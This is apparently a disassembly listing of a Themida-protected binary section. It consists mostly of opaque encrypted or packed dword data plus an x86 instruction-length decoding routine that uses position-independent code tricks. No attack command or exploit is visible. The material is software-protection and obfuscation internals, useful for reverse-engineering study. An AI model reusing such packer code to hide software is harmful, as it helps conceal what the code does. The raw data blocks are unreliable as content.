dd 6BAFF5ABh, 0F3F95B65h, 0EF3B7D23h, 30B7DFE1h, 759A3663h
dd 2DB12486h, 783DB377h, 9764E34Dh, 72759A36h, 957732E8h
dd 7224A3CBh, 5F8F5206h, 4A14F0B1h, 6F181EEBh, 0B33AB004h
dd 995h, 2DAD7F38h, 0B73BFFA3h, 3FB36F29h, 86CA0A91h, 0F439918h
dd 0B4F51592h, 367E1850h, 0BDF8E6EAh, 376D6B67h, 0C7EFFFF3h
dd 0D7F37300h, 22EB9673h, 4B971F81h, 4B32BB05h, 0CF781C40h
dd 8F69F18Ch, 0E37B13ADh, 0D7019764h, 0E5E87273h, 0C505810Fh
dd 5F8B0B95h, 9B1B8511h, 0E1BF014Fh, 697379B9h, 0F2729D64h
dd 5A646AAEh, 0DC13D4F8h
dd 3D89248Fh, 3D482DA3h, 772B7519h, 9C4B5830h, 0BC1E3593h
dd 5329AC3Eh, 52C40A94h, 8855F78Fh, 46FC505h, 0FE4A63E9h
dd 91000008h, 1CBA3616h, 820C4C84h, 0A94C400h, 711F5395h
dd 0E9E4D430h, 0FF2D6C8Ch, 71D1D5F3h, 8E565F79h, 1ADEC4C2h
dd 0E95E7656h, 73D7F308h, 774B8CEDh, 0F9E7D511h, 7FC8E4A3h
dd 12BA9F04h, 1D9C3AB0h, 9D0381CFh, 0A9B51359h, 0E2FACC97h
dd 44FC9D4Ah, 4719759Ah, 67003E0Eh, 0CFD1E521h, 0E501EC6h
dd 0FC0E9547h, 569870FEh, 128h, 0D5117761h, 0B43E0FE7h
dd 12797C21h, 8B11BD30h, 5762034Fh, 6C917EE9h, 0EA74759Ah
dd 87E36408h, 8C8F527Eh, 8468202h, 9BD10B8Ah, 0A90667C1h
dd 742DE78Dh, 0BD5C98Ch, 15CD9E45h, 428A73D2h, 0AFACDE6Ch
dd 31069E38h, 31000000h, 917EE981h, 74759A7Fh, 0C5E78BEAh
dd 52FC1F29h, 3569941Bh, 9A3826A1h, 0C39D8F52h, 8A05D68Dh
dd 1A4273D2h, 3C648624h, 9FCE9E38h, 0E9000000h, 917EE981h
dd 74759A7Fh, 0A5FBE3EAh, 7F5F3CABh, 20BA759Ah, 3ED3F7Ah
dd 0A6424F4Dh, 145A24E0h, 0E6D41076h, 465AA2F8h, 3953A382h
dd 8D3BC0ADh, 60F8AF23h, 27759A62h, 0EAE33F79h, 767ABEE4h
dd 0B4EC848Fh, 3F995B40h, 2C8E395Dh, 0D18F54F3h, 7839670Fh
dd 0E7A22CACh, 0F2DF5825h, 0B937046Dh, 7B034h, 80404300h
dd 1EDACEC8h, 96723452h, 2DE7BCDAh, 0A66623ADh, 1EFEBF2Ah
dd 87014993h, 18FC31Fh, 76105884h, 0C4E4D410h, 0F15A3BACh
dd 0F2BF73D7h, 0D20A773Dh, 6EAAF09Eh, 1177CD62h, 0A3F9E7D5h
dd 50426B67h, 15000000h, 4FBA081h, 67DE0A3Dh, 3636D16Eh
dd 1D9DDBD7h, 1045D5E8h, 923A5E69h, 69211CD5h, 2BCE1F8Fh
dd 577BE568h, 0F1336836h, 5478C2FCh, 0DD90544Ah, 2828BC9Bh
dd 0ECE13B66h, 3B7AFA05h, 77D1EBE1h, 6C52E85Fh, 15B78924h
dd 48EC5Dh, 90BB0000h, 59D3165h, 9A7FB542h, 0C78E5075h
dd 61C8B631h, 932D8F52h, 81B666DDh, 9C7C73D3h, 0A3D7E2A2h
dd 80AE5C0Bh, 5CAD76E5h, 0A68E9222h, 0F3B36984h, 4E075917h
dd 7E68E50h, 0E9AD8C8Bh, 7F31A4ADh, 0D87Eh, 65900900h
dd 172A9D31h, 0F68F69F1h, 0AEC61754h, 7C0586Ch, 73D70176h
dd 0A484C993h, 0A33A0B8Ah, 0ABD97560h, 0BE08E95Eh, 53ED73D7h
dd 0ABD7FCF1h, 19E3D08h, 89h, 0FB659034h, 9A7FAF4Ch, 16F04A75h
dd 0D711AF7Eh, 9BB30D3h, 13BAC44h, 0E08F69C8h, 0A430615Eh
dd 9A280666h, 9E3D8E68h, 1FFC6B03h, 0FA73D734h, 52566D60h
dd 3E000000h, 345021A6h, 2BB573D7h, 1F8195A2h, 0D531738Bh
dd 757BC5E7h, 0F784436Bh, 12759A7Fh, 537E0548h, 6BC0872Fh
dd 688F69F1h, 2DA07C26h, 0C4D02FB1h, 42D3942Ch, 0A773D701h
dd 1B15E05h, 8A5473D7h, 985A6AC3h, 0D6D0724Ch, 7C9E3DBBh
dd 19h, 5655AE3Bh, 0EDA8759Ah, 4527B937h, 0FFFEEAE8h, 0F4BEE0FFh
dd 5518A228h, 316590E0h, 0F0C72A9Dh, 84268F69h, 38E4AEF0h
dd 9465E2B2h, 7173D700h, 89F0DEFh, 0B53882C8h, 6D113CF9h
dd 8EA89E49h, 0CF4D8924h, 30BE18D8h, 6A2A4A75h, 0CCAE30BEh
dd 0F02C3FA8h, 0B08D8F69h, 4DC034ECh, 545ECC9Bh, 1EF8C288h
dd 0E4829776h, 7B9E81B4h, 667798Ah, 0DB92E31Fh, 0BFE3AD45h
dd 626B757Bh, 0ECEC247Ch, 40C5FA05h, 24265EEAh, 2607AF09h
dd 8EEC4E14h, 3FDC8B4Ah, 0DA73D7F6h, 592FA600h, 24798BEEh
dd 0B7EC6A89h, 836D7F7Dh, 24E0A5EBh, 0AE4FF890h, 4B759A89h
dd 7000FCF1h, 9353791h, 0A82D0168h, 0B0906FFFh, 0C4DA1Dh
dd 9C584E48h, 39AE46DEh, 0EDBC8058h, 3C7D23BDh, 0F31EE5E8h
dd 2379274Fh, 0AD0FDBDBh, 47975028h, 441774B9h, 0A95A3BACh
dd 2DBFEBF4h, 269436A8h, 0E780BE8Eh, 6B7565A1h, 0DEFCF22Ah
dd 38660ECAh, 1EFF687Eh, 0FBEBF4A9h, 3DC98761h, 0F4A9ED8Ah
dd 0D4B608EBh, 0E5AF2DE1h, 9315B339h, 1A9B39B7h, 0A1328CC2h
dd 0A9FE89A7h, 0FD5F616Fh, 4D4C62E2h, 0D7854143h, 0B26A17F5h
dd 12933Bh, 0F4A9B647h, 2F8953EBh, 42821987h, 413BB20Ch
dd 0C8865E47h, 0C11D6D7Bh, 4D5D58EFh, 0F4A9FD9Ah, 0E44618EBh
dd 18C4CED0h, 90549B55h, 1CBA3066h, 0DB2A4286h, 51613D4Fh
dd 0EDA1145Eh, 90013F2Fh, 0CF5D870Eh, 0D1581DD9h, 0D38F70A7h
dd 26C4FE1h, 8FAB623h, 8A54CDA5h, 0D1962EC6h, 759A5B40h
dd 0DB3A1BA5h, 0DCC01D4Ah, 2066686Dh, 6A3EDED8h, 8ECCAEh
dd 48125898h, 0EE3F0CEEh, 0FC3212D7h, 0DDF1356Bh, 0A22BEFB3h
dd 0D0108816h, 0BCDD2BCh, 0BC727B45h, 9AAC36C7h, 19DDC375h
dd 94703553h, 80BE8E26h, 1D1373DBh, 9263E47Ch, 91759AACh
dd 9AAC39D6h, 8C02DC75h, 8F13BB32h, 1C99074Bh, 79D58AC0h
dd 39759AACh, 9D4D4957h, 913608D8h, 0DF80C814h, 759A81C2h
dd 0B5F6833h, 68369870h, 0E18E3929h, 4759AB9h, 0F492D8BAh
dd 471957B5h, 0A17D27E5h, 0FF31952Ch, 2EFFFFFFh, 0B940C380h
dd 6322F84Fh, 24A933B9h, 0D5117713h, 61A5FBE5h, 0E2267C1Ah
dd 43A0A9Dh, 9F93D63h, 429A0789h, 4F0DC7DCh, 5753787Dh
dd 0FD9870C9h, 5Bh, 0D6590B8h, 0DEC2588Ch, 0A80A541Ah
dd 0F4082504h, 463BCBC6h, 78CE790Fh, 9D8F6943h, 836DA9FFh
dd 6FD928BCh, 9A8541BBh, 6D78D598h, 6B77D66Eh, 0AF29ADE7h
dd 0DDD37164h, 0B334A2ADh, 73D739E2h, 0B3DBA507h, 24B73E34h
dd 0B101DB89h, 54F8h, 4171D000h, 9A86A771h, 9055E2EBh
dd 473AB265h, 416330B7h, 2486759Ah, 4ECA3FD9h, 8AD49A46h
dd 0A1264E28h, 8F69D989h, 0BCEDD26Ch, 0DAD43826h, 0C4789FAAh
dd 0C37B2899h, 56385C3Eh, 10CCC92Fh, 0FE693FB6h, 89241848h
dd 9F15FA4Bh, 0F6E2BB5Bh, 857DCFFFh, 0D5117752h, 67A3F9E7h
dd 724A9B6Bh, 0C0DA687h, 5B660D40h, 44BE8F27h, 8866AC8Eh
dd 1BCCA429h, 8F5260EFh, 4D32B802h, 73D26090h, 2BB9F7D7h
dd 9E38DA1Fh, 3DB5h, 65904000h, 3C2A9D31h, 998F5262h, 616FBBFBh
dd 8FFFD5Fh, 73D27257h, 971E8010h, 38BD0F4Dh, 0EF871628h
dd 0D2729B78h, 5A6F7E73h, 481B9C51h, 18813496h, 9E38B7EEh
dd 0DC44h, 11777300h, 770FE7D5h, 34B36F29h, 759A7F67h
dd 29B53882h, 174D3F68h, 275562AFh, 13891745h, 0C9D1BFD7h
dd 0C8A4409h, 0A91E5296h, 759A2703h, 6068ACF2h, 0F6E42066h
dd 2D9A040Fh, 759A274Ch, 21B517A9h, 5217FCA6h, 430FD18Fh
dd 7CA8EDB3h, 0EF87B279h, 925579A5h, 73D20805h, 0D8FC5EE0h
dd 0B3495E40h, 1AA42AF2h, 456E5DB8h, 5D2CDA40h, 0F805AF18h
dd 5AE4891Ch, 0FF2D6C32h, 267D23F3h, 97DEE0EEh, 0F3528AF7h
dd 225F924h, 0F67974FAh, 99000001h, 482CE1Eh, 8A14449Ch
dd 0F29CDC08h, 79676BADh, 0F1ECEC38h, 0F75554B4h, 9D9DDFBh
dd 865E4741h, 12D6CCCAh, 0E1660E5Eh, 73D7EC10h, 7743B4F5h
dd 69ED20Ah, 84411E98h, 0C8C11AB0h, 0FAC48A54h, 2FA66224h
dd 0BD3DF9AFh, 316590BAh, 623C2A9Dh, 0C7998F52h, 7279D289h
dd 1E3E73D2h, 0C4608220h, 5CA9E38h, 0ED000001h, 917EE981h
dd 74759A7Fh, 0A5FBE3EAh, 41434D61h, 0C0F5D785h, 1101800Eh
dd 9AD9058Fh, 759A7FFDh, 0ED3F7A18h, 9173DDEFh, 7B5C64DBh
dd 0F7AD759Ah, 0A34A9B33h, 6CF05563h, 0BC54084Dh, 7134CCD2h
dd 3983C9ABh, 8C742AB4h, 0CE90DE0Ah, 7C876E6Ch, 0A8EAB4D8h
dd 696C7E7Ch, 2A72D493h, 8D5F8F52h, 27E3A7E9h
dd 0D3F294A9h, 62CE2FCEh, 9213CD80h, 0F59B3367h, 0D5CA50B4h
dd 4A035D13h, 3ACC35B2h, 0D4E9891Ch, 401969A7h, 630BD588h
dd 20A87C3Dh, 0A1474E50h, 15B725E5h, 32BB054Bh, 0B5BCEDACh
dd 5160674Bh, 0DDF65731h, 0F5022526h, 0DB7647h, 357E0000h
dd 0A1F9E7EBh, 256F6961h, 0B0D7F1F9h, 535E7870h, 0ABD4C189h
dd 0D29E4E4Bh, 5810F0B4h, 2DAD773Eh, 0B139FDA3h, 29C68129h
dd 0CC73D7EAh, 0A7768ADh, 99D32751h, 66C0456Dh, 6031B64Eh
dd 85759A30h, 0E7419D07h, 0E9432EEh, 0A4FCA2CAh, 80B7696Ch
dd 4F8B1F81h, 0C6029806h, 50940A88h, 9F068818h, 0D9B63145h
dd 3C759A7Fh, 0FDA32BA2h, 4AFD9539h, 759A7FADh, 0DFFF648h
dd 0A1E51D83h, 7F5F3CABh, 20BA759Ah, 0D4B60846h, 28760EE6h
dd 0A03AB070h, 9A7F5223h, 7715B775h, 27E0D511h, 8CEDA661h
dd 0D5724C90h, 2D0688CFh, 6AB4A70Ah, 0C0C6C088h, 0C5A77D38h
dd 52920997h, 9830481Ch, 4BCE4E2Fh, 8B11AB7Dh, 4997DE0Eh
dd 0ECAD077h, 9A5E4442h, 399D4h, 8BAC0000h, 0DC0C77BCh
dd 6EAAF09Eh, 0F9236260h, 71D1D5F3h, 885C5D7Bh, 7C5C4C2h
dd 9C544B49h, 2AF6B0DEh, 0A66226A4h, 89535B28h, 4C381E3h
dd 81000000h, 4EBh, 241C8700h, 242C895Ch, 5E08950h, 4
dd 42Dh, 24048700h, 2404895Ch, 81E68956h, 4C6h, 4EE8100h
dd 87000000h, 895C2434h, 0B951243Ch, 297403CEh, 76A2F181h
dd 0E1C1115Ah, 29C18108h, 51D7D814h, 39243481h, 58300C0Eh
dd 0C0E3935h, 0EC835930h, 24248904h, 4240481h, 5F000000h
dd 9968h, 24048900h, 0C6242C81h, 8F46A571h, 47810847h
dd 0A571C608h, 2434FF46h, 4C4815Fh, 0FF000000h, 81582434h
dd 4C4h, 0B214E900h, 0A359FFFBh, 4CBEE58Ch, 0BA17698Fh
dd 4D9609B8h, 0FFC50306h, 1992DEE0h, 57A0B327h, 4BDFAD5Fh
dd 4C66464Fh, 0D9115A35h, 0D7525543h, 18EDF525h, 0A2DB2300h
dd 0D1985A62h, 15878023h, 9C962F66h, 0AA96F056h, 0B58D8D4Bh
dd 6A064D97h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 0C1C6C356h, 949989FAh, 1668AC24h
dd 58D89F5h, 89064814h, 482FD1B5h, 2585C706h, 7C064830h
dd 6A000064h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 4DFAC351h, 95893B82h, 6480EBDh
dd 800Fh, 85C70000h, 6482AD9h, 0
dd 1699950Bh, 0B5FF0648h, 6481221h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 90C35646h, 65EB544Fh, 0C079C972h
dd 68F0Fh, 0BD090000h, 6480065h, 0E7195FFh, 0C7B80648h
dd 6A1AFE80h, 2D95FF00h, 8B064809h, 0E3AEBC0h, 62020000h
dd 0AFF4C5F6h, 0EE5CB9D5h, 0B9E89CDAh, 1E4BE969h, 8E93BD98h
dd 30F667DCh, 3F43CD8Ah, 0CAABDA27h, 0E5CB4FEDh, 3B0884C3h
dd 835E7F35h, 6ADED69Eh, 0B0D89347h, 688D8D8Eh, 66064D98h
dd 8D89FB8Bh, 6481405h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 0DAC35242h, 2A86042Bh, 0C788F5B8h, 48302585h
dd 5E1406h, 0C766B300h, 482AD985h, 6, 2870F00h, 8B000000h
dd 21B5FFF1h, 1064812h, 4806219Dh, 7195FF06h, 0BF06480Eh
dd 46EE4A70h, 4C99D8Bh, 6A0648h, 92D95FFh, 0C08B0648h
dd 332E3AEBh, 3B745AAFh, 59062301h, 7B240102h, 0F66CA3F9h
dd 4421D9Fh, 0EAE8577Fh, 385A2BF0h, 9EB62253h, 7F6E99D3h
dd 0CEC791h, 0C6533CC0h, 1FCAEDC7h, 4E51AFB0h, 0CEF2EB7Bh
dd 997D8D8Dh, 0D381064Dh, 1AABB59Ch, 14058D89h, 0DFB60648h
dd 0EE8h, 0BE276300h, 212EAB9Eh, 6417038Ch, 0F20AF19h
dd 80h, 85C75B00h, 6483025h, 5A74h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 3BC35343h, 2E8BB10Fh, 4623C141h
dd 61F9F081h, 0B70F7A7Ah, 0D985C7C1h, 6482Ah, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 0A668C350h, 66D2FF42h, 0F2BF0F4Dh, 27C9BD89h
dd 0B5FF0648h, 6480C99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 85C35545h, 958BFA37h, 64823EDh, 0E7195FFh
dd 81660648h, 6A2470CBh, 2D95FF00h, 8B064809h, 0E95CEBC0h
dd 8EF38255h, 646DC87Ch, 7E926CBFh, 1B94D664h, 8F0C9754h
dd 2A227F29h, 5548FD3Ch, 0BEE2659Bh, 12958193h, 7CF8BAFEh
dd 32BEF332h, 0D22C47EDh, 0E321CF85h, 0DD1EF6ADh, 9D971BF5h
dd 0BD0C2D9Bh, 0A117167Fh, 0C7296725h, 0A0187D96h, 8EF69DE8h
dd 62F98829h, 0A3C6273Bh, 0E887C613h, 0Ah, 988F15EFh, 0D3427254h
dd 0EE8C75Dh, 13000000h, 61F6A694h, 0D337F4EDh, 0EB6F3260h
dd 818D8976h, 5E06481Ch, 8E859h, 0E4CE0000h, 395576D0h
dd 81667E23h, 5E97C7F3h, 6479C181h, 7E90000h, 28000000h
dd 0D8C67AA5h, 0C02B746Dh, 0BAD8D89h, 34FF0648h, 2800F08h
dd 8B000000h, 0C3805ADFh, 28C281CDh, 0F4607D9h, 384h, 0DABF0F00h
dd 5AEBF281h, 9D891623h, 6481A39h, 0F3E9C281h, 820F5221h
dd 3, 89DAB70Fh, 0FF90114h, 688h, 0B9BD8B00h, 81064814h
dd 0F8695BE8h, 81FE8B30h, 0F86957C0h, 7E930h, 0CC3E0000h
dd 0BABC1859h, 5CF881EEh, 0FFFFF9Ch, 0FFFF9185h, 13E9FFh
dd 0CC5E0000h, 0CE3CED79h, 5B2BCFAFh, 8202E09Ah, 0C0589C2Ah
dd 12E8A4h, 54B90000h, 80BD1F2Dh, 519AA68h, 6E119693h
dd 0EDC05747h, 0B91B50Bh, 29580648h, 480D4985h, 99C08106h
dd 60000075h, 52525EB0h, 0BF615E5Eh, 77A793C2h, 8974C781h
dd 0B2608858h, 28D9BEB3h, 8B61046Dh, 1A8D0F08h, 0E8000000h
dd 0Eh, 0F3A3E6C2h, 0DF77A139h, 2CA0FC0Dh, 9D894E15h, 6481555h
dd 0A4F1815Ah, 8104D7F8h, 1F4FEAE9h, 0FBD68120h, 816B0DABh
dd 7163D4F1h, 168D0F2Fh, 0E9000000h, 11h, 25A3C06Dh, 6E9796D1h
dd 5555BA6Dh, 57D3FCE6h, 0BA66519Ch, 8F1713h, 0E883E6B3h
dd 5E804h, 637F0000h, 0E947837Dh, 0Bh, 0BA4332ACh, 27CD26CBh
dd 5E1DA3F8h, 7C850F4Fh, 0E9FFFFFFh, 1C8h, 8 dup(418888h)
dd 4 dup(0)
dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h
dd 0
dd 600h, 4444h, 41h, 11111111h, 44444444h, 0C9880299h
dd 100203h, 118888h, 88888888h, 11111111h, 1644h, 2 dup(88000000h)
dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2 dup(0)
aIiiiiiiiaiiiii db 'ˆˆˆˆˆˆˆˆ€ˆˆˆˆˆˆˆˆˆˆˆˆˆ',0
aIssi db 'ˆ™™ˆ',8,0
db 2 dup(0), 88h
aDdddddddiiiiii db 'DDDDDDDDˆˆˆˆˆˆˆˆ',0
aAs db '€™',0
dd 88998000h, 88888888h, 88888900h, 89998888h, 0
dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h
dd 8888888h, 3E362E26h, 67666564h, 0F3F2F0h, 0
dd 0FFFFFFFFh, 4016E6h, 4016FAh, 2 dup(0)
dd 3, 14h dup(0)
dd 8E000CC2h, 7575h, 1, 11h dup(0)
dd 353E9h, 0E85500h, 5D000000h, 9D5EED81h, 0C760064Dh
dd 4D9CAB85h, 6, 3E816600h, 850FA166h, 0Fh, 9CAF85C7h
dd 6064Dh, 24E90000h, 8D000000h, 4D9CB385h, 858D5006h
dd 64D9D03h, 6A5650h, 1DE8h, 10C48300h, 0FF25h, 0AF858900h
dd 61064D9Ch, 9CAFB503h, 858B064Dh, 64D9CABh
db 5Dh, 0C3h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and byte ptr [ebp-5], 0
and byte ptr [ebp-6], 0
xor dl, dl
and [ebp-1], dl
cmp dword ptr [ebp+8], 0
jz loc_5932A7
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
mov byte ptr [ebp-2], 1
jmp loc_5932B3
; ---------------------------------------------------------------------------
loc_5932A7: ; CODE XREF: Themida_:00593290j
and byte ptr [ebp-3], 0
and byte ptr [ebp-2], 0
mov byte ptr [ebp-4], 4
loc_5932B3: ; CODE XREF: Themida_:005932A2j
push ebx
push esi
push edi
loc_5932B6: ; CODE XREF: Themida_:0059330Bj
; Themida_:00593327j ...
mov edi, [ebp+0Ch]
mov esi, [ebp+10h]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_5932C9: ; CODE XREF: Themida_:005932F0j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 64D9E15h
lea ebp, [ebp+64D9C8Bh]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_5932F6
inc cl
cmp cl, 0Bh
jb loc_5932C9
loc_5932F6: ; CODE XREF: Themida_:005932E5j
cmp cl, 0Bh
jz loc_593353
cmp al, 66h
jnz loc_593334
cmp byte ptr [ebp-5], 0
jnz loc_5932B6
cmp byte ptr [ebp-3], 0
mov byte ptr [ebp-5], 1
jnz loc_59332C
mov byte ptr [ebp-4], 2
mov byte ptr [ebp-3], 0FEh
jmp loc_5932B6
; ---------------------------------------------------------------------------
loc_59332C: ; CODE XREF: Themida_:00593319j
and byte ptr [ebp-3], 0
mov byte ptr [ebp-4], 4
loc_593334: ; CODE XREF: Themida_:00593301j
cmp al, 67h
jnz loc_5932B6
cmp byte ptr [ebp-6], 0
jnz loc_5932B6
xor byte ptr [ebp-2], 1
mov byte ptr [ebp-6], 1
jmp loc_5932B6
; ---------------------------------------------------------------------------
loc_593353: ; CODE XREF: Themida_:005932F9j
mov ebx, [ebp+14h]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_59337F
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_593384
; ---------------------------------------------------------------------------
loc_59337F: ; CODE XREF: Themida_:0059335Ej
movzx edi, al
shr edi, 1
loc_593384: ; CODE XREF: Themida_:0059337Aj
push ebp
call $+5
pop ebp
sub ebp, 64D9ECDh
lea ebp, [ebp+64D9B8Bh]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp-7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp-6], bl
jz loc_593506
mov ebx, [ebp+0Ch]
mov byte ptr [ebp+0Bh], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov [ebp+17h], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz byte ptr [ebp-5]
shr ecx, 6
sub ecx, 0
jz loc_59344A
dec ecx
jz loc_59342D
dec ecx
jnz loc_59349D
cmp byte ptr [ebp-2], 0
jnz loc_593499
cmp byte ptr [ebp-5], 0
jz loc_59340C
mov byte ptr [ebp+0Bh], 2
loc_59340C: ; CODE XREF: Themida_:00593402j
add byte ptr [ebp+0Bh], 4
push ebp
call $+5
pop ebp
sub ebp, 64D9F59h
mov dword ptr [ebp+64D9CABh], 1
pop ebp
jmp loc_59349D
; ---------------------------------------------------------------------------
loc_59342D: ; CODE XREF: Themida_:005933E7j
cmp byte ptr [ebp-2], 0
jnz loc_593477
cmp byte ptr [ebp-5], 0
jz loc_593477
mov byte ptr [ebp+0Bh], 2
jmp loc_593477
; ---------------------------------------------------------------------------
loc_59344A: ; CODE XREF: Themida_:005933E0j
cmp byte ptr [ebp-2], 0
jnz loc_593490
cmp byte ptr [ebp-5], 0
jz loc_59347F
movzx ecx, byte ptr [ebp+17h]
mov edx, [ebp+0Ch]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_593477
mov [ebp+0Bh], cl
loc_593477: ; CODE XREF: Themida_:00593431j
; Themida_:0059343Bj ...
inc byte ptr [ebp+0Bh]
jmp loc_59349D
; ---------------------------------------------------------------------------
loc_59347F: ; CODE XREF: Themida_:00593458j
cmp dl, 5
jnz loc_59349D
mov [ebp+0Bh], dl
jmp loc_59349D
; ---------------------------------------------------------------------------
loc_593490: ; CODE XREF: Themida_:0059344Ej
cmp dl, 6
jnz loc_59349D
loc_593499: ; CODE XREF: Themida_:005933F8j
mov byte ptr [ebp+0Bh], 3
loc_59349D: ; CODE XREF: Themida_:005933EEj
; Themida_:00593428j ...
dec byte ptr [ebp+0Bh]
jz loc_5934CB
movzx ecx, byte ptr [ebp+0Bh]
mov [ebp+8], ecx
loc_5934AD: ; CODE XREF: Themida_:005934C3j
movzx esi, byte ptr [ebp+17h]
mov ecx, [ebp+0Ch]
mov edx, [ebp+10h]
inc byte ptr [ebp+17h]
dec dword ptr [ebp+8]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_5934AD
mov esi, edx
loc_5934CB: ; CODE XREF: Themida_:005934A0j
and al, 0FEh
cmp al, 0F6h
jnz loc_593500
cmp edi, 7Fh
ja loc_593500
test bl, 38h
jnz loc_593500
cmp byte ptr [ebp-7], 0
jz loc_5934FA
movzx eax, byte ptr [ebp-4]
jmp loc_5934FD
; ---------------------------------------------------------------------------
loc_5934FA: ; CODE XREF: Themida_:005934EBj
push 1
pop eax
loc_5934FD: ; CODE XREF: Themida_:005934F5j
mov [ebp-1], al
loc_593500: ; CODE XREF: Themida_:005934CFj
; Themida_:005934D8j ...
mov dl, [ebp+17h]
mov bl, [ebp-6]
loc_593506: ; CODE XREF: Themida_:005933B0j
mov al, bl
and eax, 7
sub eax, 4
jz loc_593531
dec eax
dec eax
jz loc_593527
and bl, 7
add [ebp-1], bl
jmp loc_593539
; ---------------------------------------------------------------------------
loc_593527: ; CODE XREF: Themida_:00593516j
mov al, [ebp-3]
add al, 6
jmp loc_593536
; ---------------------------------------------------------------------------
loc_593531: ; CODE XREF: Themida_:0059350Ej
mov al, [ebp-3]
add al, 4
loc_593536: ; CODE XREF: Themida_:0059352Cj
add [ebp-1], al
loc_593539: ; CODE XREF: Themida_:00593522j
mov al, [ebp-1]
dec byte ptr [ebp-1]
test al, al
jz loc_593561
movzx ecx, byte ptr [ebp-1]
inc ecx
loc_59354C: ; CODE XREF: Themida_:0059355Bj
mov edi, [ebp+0Ch]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_59354C
loc_593561: ; CODE XREF: Themida_:00593541j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
; ---------------------------------------------------------------------------
dd 8EBD08Bh, 40E63F6Ah, 77E7339Ch, 0C97E9h, 0A23F6800h
dd 0AEE9064Dh, 68FFFADDh, 64DA353h, 0FADDA4E9h, 0A4E968FFh
dd 9AE9064Dh, 68FFFADDh, 64DA5FFh, 0FADD90E9h, 0A75568FFh
dd 86E9064Dh, 68FFFADDh, 64DA960h, 0FADD7CE9h, 0AAB768FFh
dd 72E9064Dh, 68FFFADDh, 64DABA9h, 0FADD68E9h, 0E9E889FFh
dd 90951F8Bh, 403A4F0h, 89882864h, 3E33BFEBh, 58603152h
dd 0E3BFDDDCh, 7420405Dh, 0FEAAF6C9h, 41127E75h, 0D418502Eh
dd 2A47C71h, 46EC8081h, 842FEB43h, 3A0F081h, 932D6404h
dd 7641510h, 0BF17F295h, 9F36D4EFh, 6C451ECFh, 0DCADCA7Ch
dd 6C45460Eh, 0EA510D7Ch, 0A90041BAh, 339BDBh, 0B9000000h
dd 7549DC7Eh, 7C6C4064h, 99255C55h, 463712B4h, 0FC084C39h
dd 394672D8h, 0CEBAFA48h, 25917C6Ch, 9D25B766h, 659E2E84h
dd 0BFDBA992h, 103h, 0FBFE85E4h, 0C161FB8Ah, 2AE6AC0h
dd 33034519h, 22D17624h, 0B1DA5D7h, 0DF5CDD10h, 9BDDB148h
dd 297624BAh, 0C187D74Eh, 0F7624BAh, 0DFADCA60h, 50205154h
dd 0DDB4D4D3h, 32AEA343h, 0BD1BB3B6h, 7624BFC8h, 107077FCh
dd 55EBFF84h, 0BF48005Eh, 0EB947624h, 309CED6Ah, 0FCD24507h
dd 7C6CE871h, 0F7AECAB5h, 70BA4482h, 4BE3F8E1h, 9302C8F3h
dd 0B775DD3Bh, 0CD5CE82h, 0C872840h, 0BE397F4Fh, 0F8877626h
dd 0D8A7D37Bh, 3237B34Dh, 0BBBE3A56h, 0A0F5DE04h, 8737E812h
dd 0A77h, 44243BBAh, 0CDAFAA48h, 31534ED1h, 0A4C4DD65h
dd 2F4D4CE8h, 0EB97AF04h, 881E8A16h, 6A3FF9Dh, 8E356103h
dd 637AE98Bh, 71D54D0Bh, 42C59B7Ch, 6DF8F985h, 0F1F7DDD6h
dd 21D59F3Dh, 24F53771h, 4CE98576h, 0FE7F3C4Dh, 20594858h
dd 9F1BDAB8h, 0FB8CED9Ah, 0AA0E820h, 77EEE58Eh, 0E2CA8EE0h
dd 69167624h, 0B902A1C1h, 7549DC7Eh, 7C6C4064h, 5958E4B0h
dd 37B34DD8h, 78EE3CC6h, 0CF4CF47Ch, 0BAFA4867h, 917C6CD5h
dd 0E3385FEh, 0ADE01B41h, 49944B05h, 0EA9CDCB2h, 4F287C6Ch
dd 0B62CD7E7h, 0BBF6DBA9h, 2D000000h, 8AFBFE85h, 0E87F72FEh
dd 0E0BEAF54h, 762432A8h, 0BDCA4B34h, 895956FCh, 7624379Ch
dd 0EC8C8B28h, 0ABC033B0h, 1A60C91Ch, 3A92E360h, 0ABB64801h
dd 0C95CDDDAh, 6CD968F5h, 91F3BC7Ch, 0C95CFE39h, 0B72802F5h
dd 9A19B382h, 2981EE9Fh, 0E077EE89h, 2727CA8Eh, 0C1691676h
dd 3D3CB854h, 0A2A7435Fh, 0A08BBD1Bh, 9604FB12h, 963h
dd 30502FD6h, 0B9DBDE64h, 2D4F5AEDh, 90F0F171h, 1B797804h
dd 7A39BF8h, 942A6602h, 32BFEB89h, 0A2415D3Fh, 770EC5A7h
